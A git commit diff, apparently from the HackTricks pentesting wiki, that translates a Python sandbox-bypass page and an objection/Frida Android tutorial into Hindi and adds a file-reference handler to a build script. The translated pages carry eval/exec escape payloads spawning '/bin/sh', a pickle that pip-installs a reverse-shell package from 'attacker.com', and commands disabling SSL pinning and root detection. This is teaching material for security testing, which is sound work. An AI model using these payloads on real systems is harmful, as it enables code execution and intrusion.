Translated ['src/generic-methodologies-and-resources/python/bypass-pytho

This commit is contained in:
Translator 2025-01-05 16:13:44 +00:00
parent f4fbfc56bc
commit 4984f98a55
18 changed files with 497 additions and 441 deletions

View File

@ -1,4 +1,5 @@
import json
import os
import sys
import re
import logging
@ -68,6 +69,33 @@ def ref(matchobj):
return result
def files(matchobj):
logger.debug(f'Files match: {matchobj.groups(0)[0].strip()}')
href = matchobj.groups(0)[0].strip()
title = ""
try:
for root, dirs, files in os.walk(os.getcwd()+'/src/files'):
if href in files:
title = href
logger.debug(f'File search result: {os.path.join(root, href)}')
except Exception as e:
logger.debug(e)
logger.debug(f'Error searching file: {href}')
print(f'Error searching file: {href}')
sys.exit(1)
if title=="":
logger.debug(f'Error searching file: {href}')
print(f'Error searching file: {href}')
sys.exit(1)
template = f"""<a class="content_ref" href="/files/{href}"><span class="content_ref_label">{title}</span></a>"""
result = template
return result
def add_read_time(content):
regex = r'(<\/style>\n# .*(?=\n))'
@ -105,6 +133,8 @@ if __name__ == '__main__':
current_chapter = chapter
regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
new_content = re.sub(regex, ref, chapter['content'])
regex = r'{{[\s]*#file[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endfile[\s]*}}'
new_content = re.sub(regex, files, chapter['content'])
new_content = add_read_time(new_content)
chapter['content'] = new_content

View File

@ -41,20 +41,19 @@ system('ls')
```
याद रखें कि _**open**_ और _**read**_ फ़ंक्शन **python sandbox** के अंदर **फाइलें पढ़ने** और **कोड लिखने** के लिए उपयोगी हो सकते हैं जिसे आप **execute** कर सकते हैं ताकि **sandbox** को **bypass** किया जा सके।
> [!CAUTION]
> **Python2 input()** फ़ंक्शन प्रोग्राम क्रैश होने से पहले python कोड को execute करने की अनुमति देता है।
> [!CAUTION] > **Python2 input()** फ़ंक्शन प्रोग्राम क्रैश होने से पहले python कोड को execute करने की अनुमति देता है।
Python पहले **वर्तमान निर्देशिका से लाइब्रेरी लोड करने** की कोशिश करता है (निम्नलिखित कमांड यह प्रिंट करेगा कि python मॉड्यूल कहाँ से लोड कर रहा है): `python3 -c 'import sys; print(sys.path)'`
Python पहले **वर्तमान निर्देशिका से पुस्तकालयों को लोड करने** की कोशिश करता है (निम्नलिखित कमांड यह प्रिंट करेगा कि python मॉड्यूल कहाँ से लोड कर रहा है): `python3 -c 'import sys; print(sys.path)'`
![](<../../../images/image (559).png>)
## डिफ़ॉल्ट इंस्टॉल किए गए python पैकेज के साथ pickle sandbox को बायपास करें
## डिफ़ॉल्ट स्थापित python पैकेज के साथ pickle sandbox को बायपास करें
### डिफ़ॉल्ट पैकेज
आप यहाँ **पूर्व-स्थापित** पैकेजों की **सूची** पा सकते हैं: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
ध्यान दें कि एक pickle से आप python env को **सिस्टम में स्थापित मनमाने लाइब्रेरी** को **import** करने के लिए बना सकते हैं।\
उदाहरण के लिए, निम्नलिखित pickle, जब लोड किया जाएगा, तो pip लाइब्रेरी को उपयोग करने के लिए import करेगा:
ध्यान दें कि एक pickle से आप python env को **सिस्टम में स्थापित मनमाने पुस्तकालयों** को **import** करने के लिए बना सकते हैं।\
उदाहरण के लिए, निम्नलिखित pickle, जब लोड किया जाएगा, pip पुस्तकालय को उपयोग करने के लिए import करेगा:
```python
#Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it
@ -80,17 +79,19 @@ pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
```
आप पैकेज को रिवर्स शेल बनाने के लिए यहाँ डाउनलोड कर सकते हैं। कृपया ध्यान दें कि इसका उपयोग करने से पहले आपको **इसे डिकंप्रेस करना चाहिए, `setup.py` को बदलना चाहिए, और रिवर्स शेल के लिए अपना IP डालना चाहिए**:
{% file src="../../../images/Reverse.tar (1).gz" %}
{{#file}}
Reverse.tar (1).gz
{{#endfile}}
> [!NOTE]
> इस पैकेज का नाम `Reverse` है। हालाँकि, इसे इस तरह से तैयार किया गया है कि जब आप रिवर्स शेल से बाहर निकलते हैं तो बाकी की स्थापना विफल हो जाएगी, इसलिए आप **सर्वर पर कोई अतिरिक्त पायथन पैकेज स्थापित नहीं छोड़ेंगे** जब आप बाहर निकलेंगे।
> इस पैकेज का नाम `Reverse` है। हालाँकि, इसे इस तरह से तैयार किया गया है कि जब आप रिवर्स शेल से बाहर निकलते हैं तो बाकी इंस्टॉलेशन विफल हो जाएगा, इसलिए आप **सर्वर पर कोई अतिरिक्त पायथन पैकेज स्थापित नहीं करेंगे** जब आप बाहर निकलेंगे।
## पायथन कोड का मूल्यांकन करना
> [!WARNING]
> ध्यान दें कि exec मल्टीलाइन स्ट्रिंग्स और ";" की अनुमति देता है, लेकिन eval नहीं (वालरस ऑपरेटर की जांच करें)
> ध्यान दें कि exec मल्टीलाइन स्ट्रिंग और ";" की अनुमति देता है, लेकिन eval नहीं (वालरस ऑपरेटर की जांच करें)
यदि कुछ वर्ण निषिद्ध हैं, तो आप **hex/octal/B64** प्रतिनिधित्व का उपयोग करके **restriction** को **bypass** कर सकते हैं:
यदि कुछ वर्ण निषिद्ध हैं, तो आप **hex/octal/B64** प्रतिनिधित्व का उपयोग करके **प्रतिबंध को बायपास** कर सकते हैं:
```python
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@ -134,7 +135,7 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
```
## Bypassing protections through encodings (UTF-7)
## सुरक्षा को एन्कोडिंग (UTF-7) के माध्यम से बायपास करना
In [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 का उपयोग एक स्पष्ट सैंडबॉक्स के अंदर मनमाने python कोड को लोड और निष्पादित करने के लिए किया जाता है:
```python
@ -175,13 +176,13 @@ X = exec(X)
@'__import__("os").system("sh")'.format
class _:pass
```
### RCE ऑब्जेक्ट्स बनाना और ओवरलोडिंग
### RCE ऑब्जेक्ट बनाना और ओवरलोडिंग
यदि आप **क्लास घोषित** कर सकते हैं और उस क्लास का **ऑब्जेक्ट बना सकते हैं**, तो आप **विभिन्न विधियों को लिख/ओवरराइट** कर सकते हैं जो **ट्रिगर** हो सकती हैं **बिना** उन्हें **प्रत्यक्ष रूप से कॉल किए**
यदि आप **क्लास घोषित** कर सकते हैं और उस क्लास का **ऑब्जेक्ट बना** सकते हैं, तो आप **विभिन्न विधियों को लिख/ओवरराइट** कर सकते हैं जो **ट्रिगर** हो सकती हैं **बिना** उन्हें **प्रत्यक्ष रूप से कॉल किए**
#### कस्टम क्लासेस के साथ RCE
आप कुछ **क्लास विधियों** (_मौजूदा क्लास विधियों को ओवरराइट करके या एक नई क्लास बनाकर_) को संशोधित कर सकते हैं ताकि वे **ट्रिगर** होने पर **मनमाना कोड** **निष्पादित** कर सकें बिना उन्हें प्रत्यक्ष रूप से कॉल किए।
आप कुछ **क्लास विधियों** को (_मौजूदा क्लास विधियों को ओवरराइट करके या एक नई क्लास बनाकर_) संशोधित कर सकते हैं ताकि वे **ट्रिगर** होने पर **मनमाना कोड** **निष्पादित** कर सकें बिना उन्हें प्रत्यक्ष रूप से कॉल किए।
```python
# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
@ -233,7 +234,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
```
#### Crating objects with [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
मेटाक्लास हमें जो मुख्य चीज़ करने की अनुमति देत है वह है **क्लास का एक उदाहरण बनाना, बिना सीधे कंस्ट्रक्टर को कॉल किए**, लक्षित क्लास को मेटाक्लास के रूप में एक नई क्लास बनाकर।
मेटाक्लास हमें जो मुख्य चीज़ करने की अनुमति देत है वह है **क्लास का एक उदाहरण बनाना, बिना सीधे कंस्ट्रक्टर को कॉल किए**, लक्षित क्लास को मेटाक्लास के रूप में उपयोग करके एक नई क्लास बनाकर।
```python
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
@ -292,7 +293,7 @@ __iadd__ = eval
__builtins__.__import__ = X
{}[1337]
```
### बिल्टिन की मदद और लाइसेंस के साथ फ़ाइल पढ़ें
### बिल्टिन हेल्प और लाइसेंस के साथ फ़ाइल पढ़ें
```python
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
@ -316,7 +317,7 @@ __builtins__.__dict__['__import__']("os").system("ls")
जब आपके पास `__builtins__` नहीं है, तो आप कुछ भी आयात नहीं कर पाएंगे और न ही फ़ाइलें पढ़ या लिख पाएंगे क्योंकि **सभी वैश्विक फ़ंक्शन** (जैसे `open`, `import`, `print`...) **लोड नहीं होते**।\
हालांकि, **डिफ़ॉल्ट रूप से पायथन मेमोरी में बहुत सारे मॉड्यूल आयात करता है**। ये मॉड्यूल निर्दोष लग सकते हैं, लेकिन इनमें से कुछ **खतरनाक** कार्यक्षमताएँ भी आयात कर रहे हैं जिन्हें **मनमाने कोड निष्पादन** प्राप्त करने के लिए एक्सेस किया जा सकता है।
निम्नलिखित उदाहरणों में आप देख सकते हैं कि कैसे कुछ इस "**निर्दोष**" मॉड्यूल का **दुरुपयोग** किया जा सकता है ताकि **खतरनाक** **कार्यक्षमताओं** तक **पहुँच** प्राप्त की जा सके।
निम्नलिखित उदाहरणों में आप देख सकते हैं कि कैसे कुछ इस "**निर्दोष**" मॉड्यूल का **दुरुपयोग** किया जा सकता है ताकि उनके अंदर **खतरनाक** **कार्यात्मकताओं** तक **पहुँच** प्राप्त की जा सके।
**Python2**
```python
@ -400,15 +401,15 @@ class_obj.__init__.__globals__
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
```
[**नीचे एक बड़ा फ़ंक्शन है**](#recursive-search-of-builtins-globals) जो आपको **globals** खोजने के लिए दर्जनों/**सैकड़ों** **स्थान** ढूंढने में मदद करेगा।
[**नीचे एक बड़ा फ़ंक्शन है**](#recursive-search-of-builtins-globals) जो आपको **ग्लोबल्स** खोजने के लिए दर्जनों/**सैकड़ों** **स्थान** खोजने में मदद करेगा।
## मनमाने निष्पादन का पता लगाना
यहां मैं समझाना चाहता हूं कि कैसे आसानी से **अधिक खतरनाक कार्यक्षमताओं को लोड** किया जा सकता है और अधिक विश्वसनीय शोषण का प्रस्ताव दिया जा सकता है।
यहाँ मैं समझाना चाहता हूँ कि कैसे आसानी से **ज़्यादा खतरनाक कार्यक्षमताओं को लोड** किया जा सकता है और अधिक विश्वसनीय हमलों का प्रस्ताव दिया जा सकता है।
#### बायपास के साथ उपकक्षाओं तक पहुं
#### बायपास के साथ उपकक्षों तक पहुँ
इस तकनीक के सबसे संवेदनशील हिस्सों में से एक है **बेस उपकक्षाओं** तक पहुंच प्राप्त करना। पिछले उदाहरणों में यह `''.__class__.__base__.__subclasses__()` का उपयोग करके किया गया था लेकिन **अन्य संभावित तरीके** भी हैं:
इस तकनीक के सबसे संवेदनशील हिस्सों में से एक है **बेस उपकक्षों** तक पहुँच प्राप्त करना। पिछले उदाहरणों में यह `''.__class__.__base__.__subclasses__()` का उपयोग करके किया गया था लेकिन **अन्य संभावित तरीके** भी हैं:
```python
#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
@ -501,7 +502,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
pdb:
"""
```
इसके अलावा, यदि आप सोचते हैं कि **अन्य पुस्तकालय** **कमांड निष्पादित करने के लिए फ़ंक्शन को कॉल** कर सकते हैं, तो हम संभावित पुस्तकालयों के भीत**फ़ंक्शन नामों द्वारा भी फ़िल्टर** कर सकते हैं:
इसके अलावा, यदि आप सोचते हैं कि **अन्य पुस्तकालय** **कमांड निष्पादित करने के लिए फ़ंक्शन को कॉल** कर सकते हैं, तो हम संभावित पुस्तकालयों के अंद**फ़ंक्शन नामों द्वारा भी फ़िल्टर** कर सकते हैं:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
@ -659,9 +660,9 @@ main()
https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md
{{#endref}}
## Python Format String
## Python फ़ॉर्मेट स्ट्रिंग
यदि आप **python** को एक **string** भेजते हैं जो **फॉर्मेट** होने वाली है, तो आप **python आंतरिक जानकारी** तक पहुँचने के लिए `{}` का उपयोग कर सकते हैं। आप उदाहरण के लिए globals या builtins तक पहुँचने के लिए पिछले उदाहरणों का उपयोग कर सकते हैं।
यदि आप **python** को एक **स्ट्रिंग** भेजते हैं जो **फॉर्मेट** होने वाली है, तो आप **python आंतरिक जानकारी** तक पहुँचने के लिए `{}` का उपयोग कर सकते हैं। आप उदाहरण के लिए globals या builtins तक पहुँचने के लिए पिछले उदाहरणों का उपयोग कर सकते हैं।
```python
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
@ -681,7 +682,7 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)
```
ध्यान दें कि आप **attributes** को सामान्य तरीके से **dot** के साथ `people_obj.__init__` और **dict element** को **parenthesis** के साथ बिना कोट्स के `__globals__[CONFIG]` से एक्सेस कर सकते हैं।
ध्यान दें कि आप **attributes** को सामान्य तरीके से **dot** के साथ `people_obj.__init__` और **dict element** को **parenthesis** के साथ बिना कोट्स के `__globals__[CONFIG]` से **access** कर सकते हैं।
यह भी ध्यान दें कि आप `.__dict__` का उपयोग करके एक ऑब्जेक्ट के तत्वों को सूचीबद्ध कर सकते हैं `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
@ -704,7 +705,7 @@ return 'HAL 9000'
**अधिक उदाहरण** **फॉर्मेट** **स्ट्रिंग** उदाहरणों के बारे में [**https://pyformat.info/**](https://pyformat.info) पर पाया जा सकता है।
> [!CAUTION]
> संवेदनशील जानकारी को **Python आंतरिक वस्तुओं** से पढ़ने के लिए गैजेट्स के लिए निम्नलिखित पृष्ठ की भी जांच करें:
> कृपया संवेदनशील जानकारी पढ़ने के लिए गैजेट्स के लिए निम्नलिखित पृष्ठ की भी जांच करें **Python आंतरिक वस्तुओं से**:
{{#ref}}
../python-internal-read-gadgets.md
@ -732,16 +733,16 @@ From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-a
### From format to RCE loading libraries
According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) यह संभव है कि डिस्क से मनमाने लाइब्रेरी को लोड किया जाए, जो कि python में फॉर्मेट स्ट्रिंग वल्नरेबिलिटी का दुरुपयोग करके किया जा सकता है।
According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) it's possible to load arbitrary libraries from disk abusing the format string vulnerability in python.
याद दिलाने के लिए, हर बार जब python में कोई क्रिया की जाती है, तो कुछ फ़ंक्शन निष्पादित होता है। उदाहरण के लिए `2*3` **`(2).mul(3)`** या **`{'a':'b'}['a']`** **`{'a':'b'}.__getitem__('a')`** को निष्पादित करेगा।
As reminder, every time an action is performed in python some function is executed. For example `2*3` will execute **`(2).mul(3)`** or **`{'a':'b'}['a']`** will be **`{'a':'b'}.__getitem__('a')`**.
आपके पास इस तरह की और जानकारी [**Python execution without calls**](#python-execution-without-calls) अनुभाग में है।
You have more like this in the section [**Python execution without calls**](#python-execution-without-calls).
एक python फॉर्मेट स्ट्रिंग वल्नरेबिलिटी फ़ंक्शन को निष्पादित करने की अनुमति नहीं देती (यह कोष्ठक का उपयोग करने की अनुमति नहीं देती), इसलिए RCE प्राप्त करना संभव नहीं है जैसे `'{0.system("/bin/sh")}'.format(os)`\
हालांकि, `[]` का उपयोग करना संभव है। इसलिए, यदि एक सामान्य python लाइब्रेरी में **`__getitem__`** या **`__getattr__`** विधि है जो मनमाना कोड निष्पादित करती है, तो RCE प्राप्त करने के लिए उनका दुरुपयोग करना संभव है।
A python format string vuln doesn't allow to execute function (it's doesn't allow to use parenthesis), so it's not possible to get RCE like `'{0.system("/bin/sh")}'.format(os)`.\
However, it's possible to use `[]`. Therefore, if a common python library has a **`__getitem__`** or **`__getattr__`** method that executes arbitrary code, it's possible to abuse them to get RCE.
python में इस तरह के गैजेट की तलाश करते हुए, लेख में यह [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code) प्रस्तुत किया गया है। जहाँ उन्होंने यह [एक](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463) पाया:
Looking for a gadget like that in python, the writeup purposes this [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Where he found this [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
```python
class LibraryLoader(object):
def __init__(self, dlltype):
@ -763,7 +764,7 @@ return getattr(self, name)
cdll = LibraryLoader(CDLL)
pydll = LibraryLoader(PyDLL)
```
यह उपकरण **डिस्क से एक पुस्तकालय लोड करने** की अनुमति देता है। इसलिए, इसे किसी न किसी तरह **पुस्तकालय को लिखने या अपलोड करने** की आवश्यकता है ताकि इसे हमले के शिकार सर्वर पर सही ढंग से संकलित किया जा सके।
यह गैजेट **डिस्क से एक लाइब्रेरी लोड करने** की अनुमति देता है। इसलिए, इसे किसी न किसी तरह **लाइब्रेरी को लिखने या अपलोड करने** की आवश्यकता है ताकि इसे हमले के शिकार सर्वर पर सही तरीके से संकलित किया जा सके।
```python
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
```
@ -869,7 +870,7 @@ get_flag.__code__.co_freevars
get_flag.__code__.co_code
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
```
### **एक फ़ंक्शन का डिसएसेंबली**
### **एक फ़ंक्शन का डिसअस्सेम्बली**
```python
import dis
dis.dis(get_flag)
@ -935,9 +936,9 @@ return calc_flag("VjkuKuVjgHnci")
else:
return "Nope"
```
### Creating the code object
### कोड ऑब्जेक्ट बनाना
सबसे पहले, हमें यह जानने की आवश्यकता है कि **कोड ऑब्जेक्ट कैसे बनाया और निष्पादित किया जाता है** ताकि हम एक बना सकें जो हमारे फ़ंक्शन को निष्पादित करे:
सबसे पहले, हमें यह जानने की आवश्यकता है **कोड ऑब्जेक्ट कैसे बनाएं और निष्पादित करें** ताकि हम एक बना सकें जो हमारे फ़ंक्शन को निष्पादित करे:
```python
code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
@ -981,7 +982,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
```
### Bypass Defenses
In previous examples at the beginning of this post, you can see **कैसे किसी भी python कोड को `compile` फ़ंक्शन का उपयोग करके निष्पादित करें**. यह दिलचस्प है क्योंकि आप **पूरे स्क्रिप्ट्स** को लूप और सब कुछ के साथ **एक लाइन में** निष्पादित कर सकते हैं (और हम **`exec`** का उपयोग करके भी ऐसा कर सकते हैं).\
In previous examples at the beginning of this post, you can see **कैसे किसी भी python कोड को `compile` फ़ंक्शन का उपयोग करके निष्पादित करें**. यह दिलचस्प है क्योंकि आप **पूरे स्क्रिप्ट्स** को लूप और सब कुछ के साथ **एक लाइन में** निष्पादित कर सकते हैं (और हम **`exec`** का उपयोग करके भी यही कर सकते हैं).\
खैर, कभी-कभी यह **स्थानीय मशीन** में एक **संकलित ऑब्जेक्ट** **बनाने** और इसे **CTF मशीन** में निष्पादित करने के लिए उपयोगी हो सकता है (उदाहरण के लिए क्योंकि हमारे पास CTF में `compiled` फ़ंक्शन नहीं है).
For example, let's compile and execute manually a function that reads _./poc.py_:
@ -1034,7 +1035,7 @@ Using tools like [**https://www.decompiler.com/**](https://www.decompiler.com) o
### Assert
Python executed with optimizations with the param `-O` will remove asset statements and any code conditional on the value of **debug**.\
Therefore, checks like
इसलिए, जाँचें जैसे
```python
def check_permission(super_user):
try:
@ -1054,5 +1055,4 @@ will be bypassed
- [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)
- [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,8 +2,6 @@
{{#include ../../../banners/hacktricks-training.md}}
## **परिचय**
**objection - रनटाइम मोबाइल अन्वेषण**
@ -14,13 +12,15 @@
### फिर से शुरू करें
**objection** का **लक्ष्य** उपयोगकर्ता को **Frida द्वारा प्रदान की जाने वाली मुख्य क्रियाओं** को कॉल करने देना है। **अन्यथा**, उपयोगकर्ता को हर अनुप्रयोग के लिए एक **एकल स्क्रिप्ट** बनानी होगी जिसे वह परीक्षण करना चाहता है।
**objection** का **लक्ष्य** उपयोगकर्ता को **Frida द्वारा प्रदान किए गए मुख्य क्रियाओं** को कॉल करने देना है। **अन्यथा**, उपयोगकर्ता को हर अनुप्रयोग के लिए **एकल स्क्रिप्ट** बनानी होगी जिसे वह परीक्षण करना चाहता है।
## ट्यूटोरियल
इस ट्यूटोरियल के लिए मैं उस APK का उपयोग करने जा रहा हूँ जिसे आप यहाँ डाउनलोड कर सकते हैं:
{% file src="../../../images/app-release.zip" %}
{{#file}}
app-release.zip
{{#endfile}}
या इसके [मूल भंडार ](https://github.com/asvid/FridaApp) से (app-release.apk डाउनलोड करें)
@ -28,7 +28,7 @@
```bash
pip3 install objection
```
### कनेक्शन
### Connection
एक **नियमित ADB कनेक्शन** बनाएं और डिवाइस में **frida** सर्वर **शुरू** करें (और जांचें कि frida क्लाइंट और सर्वर दोनों में काम कर रहा है)।
@ -39,7 +39,7 @@ objection --gadget asvid.github.io.fridaapp explore
```
### Basic Actions
इस ट्यूटोरियल में सभी संभावित आदेशों की सूची नहीं दी जाएगी, केवल वे जो मुझे अधिक उपयोगी लगे हैं।
इस ट्यूटोरियल में objections के सभी संभावित कमांड सूचीबद्ध नहीं किए जाएंगे, केवल वे जो मुझे अधिक उपयोगी लगे हैं।
#### Environment
@ -49,7 +49,7 @@ env
```
![](<../../../images/image (220).png>)
#### फ्रिडा जानकारी
#### Frida जानकारी
```bash
frida
```
@ -68,7 +68,7 @@ import <local path frida-script>
```bash
android sslpinning disable #Attempts to disable SSL Pinning on Android devices.
```
#### रूट पहचा
#### रूट डिटेक्श
```bash
android root disable #Attempts to disable root detection on Android devices.
android root simulate #Attempts to simulate a rooted Android environment.
@ -84,9 +84,9 @@ android ui FLAG_SECURE false #This may enable you to take screenshots using the
```
### स्थैतिक विश्लेषण को गतिशील बनाना
एक वास्तविक एप्लिकेशन में, हमें इस भाग में खोजी गई सभी जानकारी का ज्ञान होना चाहिए, इससे पहले कि हम **objection** का उपयोग करें, धन्यवाद **स्थैतिक विश्लेषण**खैर, इस तरीके से आप शायद **कुछ नया** देख सकें क्योंकि यहाँ आपके पास केवल कक्षाओं, विधियों और निर्यातित वस्तुओं की एक पूर्ण सूची होगी।
एक वास्तविक एप्लिकेशन में, हमें इस भाग में खोजी गई सभी जानकारी का ज्ञान होना चाहिए, इससे पहले कि हम objection का उपयोग करें, धन्यवाद **स्थैतिक विश्लेषण**फिर भी, इस तरीके से आप शायद **कुछ नया** देख सक हैं क्योंकि यहाँ आपके पास केवल कक्षाओं, विधियों और निर्यातित वस्तुओं की एक पूर्ण सूची होगी।
यह भी उपयोगी है यदि किसी तरह आप ऐप का **पढ़ने योग्य स्रोत कोड** प्राप्त करने में **असमर्थ** हैं।
यह भी उपयोगी है यदि किसी तरह आप ऐप का **पढ़ने योग्य स्रोत कोड प्राप्त करने में असमर्थ** हैं।
#### गतिविधियों, रिसीवर्स और सेवाओं की सूची
```bash
@ -97,7 +97,7 @@ android hooking list activities
android hooking list services
android hooking list receivers
```
Frida कोई नहीं मिलने पर एक त्रुटि लॉन्च करेगा
Frida कोई त्रुटि लॉन्च करेगा यदि कोई नहीं पाया गया
#### वर्तमान गतिविधि प्राप्त करना
```bash
@ -107,7 +107,7 @@ android hooking get current_activity
#### क्लासेस खोजें
आइए अपने एप्लिकेशन के अंदर क्लासेस की खोज करना शुरू करें
आइए अपने एप्लिकेशन के अंदर क्लासेस की खोज करना शुरू करें
```bash
android hooking search classes asvid.github.io.fridaapp
```
@ -115,7 +115,7 @@ android hooking search classes asvid.github.io.fridaapp
#### किसी क्लास के मेथड्स खोजें
अब हम क्लास _MainActivity:_ के अंदर के मेथड्स को निकालते हैं:
अब हम _MainActivity:_ क्लास के अंदर के मेथड्स को निकालते हैं:
```bash
android hooking search methods asvid.github.io.fridaapp MainActivity
```
@ -129,13 +129,13 @@ android hooking list class_methods asvid.github.io.fridaapp.MainActivity
```
![](<../../../images/image (299).png>)
#### कक्षाएँ सूचीबद्ध करें
#### क्लासेस की सूची
आप वर्तमान एप्लिकेशन के अंदर लोड की गई सभी कक्षाओं को भी सूचीबद्ध कर सकते हैं:
आप वर्तमान एप्लिकेशन के अंदर लोड की गई सभी क्लासेस की सूची भी बना सकते हैं:
```bash
android hooking list classes #List all loaded classes, As the target application gets usedmore, this command will return more classes.
```
यह बहुत उपयोगी है यदि आप **क्लास के मेथड को हुक करना चाहते हैं और आपको केवल क्लास का नाम पता है**। आप इस फ़ंक्शन का उपयोग **कर सकते हैं यह खोजने के लिए कि क्लास का कौन सा मॉड्यूल है** और फिर इसके मेथड को हुक कर सकते हैं।
यह बहुत उपयोगी है यदि आप **क्लास के मेथड को हुक करना चाहते हैं और आपको केवल क्लास का नाम पता है**। आप इस फ़ंक्शन का उपयोग **यह खोजने के लिए कर सकते हैं कि क्लास का मालिक कौन सा मॉड्यूल है** और फिर इसके मेथड को हुक कर सकते हैं।
### हुकिंग आसान है
@ -157,7 +157,7 @@ android hooking watch class asvid.github.io.fridaapp.MainActivity --dump-args --
![](<../../../images/image (861).png>)
#### एक फ़ंक्शन के बूलियन रिटर्न मान को बदलना
#### फ़ंक्शन के बूलियन रिटर्न मान को बदलना
स्रोत कोड से आप देख सकते हैं कि फ़ंक्शन _checkPin_ एक _String_ को आर्गुमेंट के रूप में लेता है और एक _boolean_ लौटाता है। चलिए फ़ंक्शन को **हमेशा true लौटाने** के लिए बनाते हैं:
@ -169,7 +169,7 @@ android hooking watch class asvid.github.io.fridaapp.MainActivity --dump-args --
### क्लास उदाहरण
